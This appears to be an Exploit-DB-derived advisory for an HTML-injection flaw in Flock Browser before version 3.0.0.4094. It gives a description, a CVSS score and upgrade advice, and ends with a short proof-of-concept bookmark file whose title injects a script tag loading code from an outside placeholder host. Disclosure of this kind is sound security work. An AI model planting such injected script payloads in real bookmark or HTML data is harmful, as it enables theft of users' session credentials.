HTML Injection vulnerability in Flock Browser

vendor:

Flock Browser

by:

Not mentioned

7.5

CVSS

HIGH

HTML Injection

CWE

Product Name: Flock Browser

Affected Version From: Flock versions prior to 3.0.0.4094

Affected Version To: Not mentioned

Patch Exists: YES

Related CWE: Not mentioned

CPE: Not mentioned

Metasploit:

Other Scripts:

Platforms Tested: Not mentioned

2010

HTML Injection vulnerability in Flock Browser

Flock Browser is prone to an HTML-injection vulnerability because the application fails to properly sanitize user-supplied input. Successful exploits will allow attacker-supplied HTML and script code to run in the context of the affected browser, potentially allowing the attacker to steal cookie-based authentication credentials or to control how the site is rendered to the user. Other attacks are also possible.

Mitigation:

Upgrade to Flock version 3.0.0.4094 or later.

Source

Exploit-DB raw data:

source: https://www.securityfocus.com/bid/42556/info

Flock Browser is prone to an HTML-injection vulnerability because the application fails to properly sanitize user-supplied input.

Successful exploits will allow attacker-supplied HTML and script code to run in the context of the affected browser, potentially allowing the attacker to steal cookie-based authentication credentials or to control how the site is rendered to the user. Other attacks are also possible.

Versions prior to Flock 3.0.0.4094 are vulnerable.

<!DOCTYPE NETSCAPE-Bookmark-file-1> <!-- This is an automatically generated file. It will be read and overwritten. DO NOT EDIT! --> <META HTTP-EQUIV="Content-Type" CONTENT="text/html; charset=UTF-8"> <TITLE>Bookmarks</TITLE> <H1>Menú Marcadores</H1> <DL><p> <DT><A HREF="http://www.example.com" ADD_DATE="1282083605" LAST_MODIFIED="1282083638">"><script src='http://www.example.com/thirdparty/scripts/ckers.org.js'></A> </DL><p>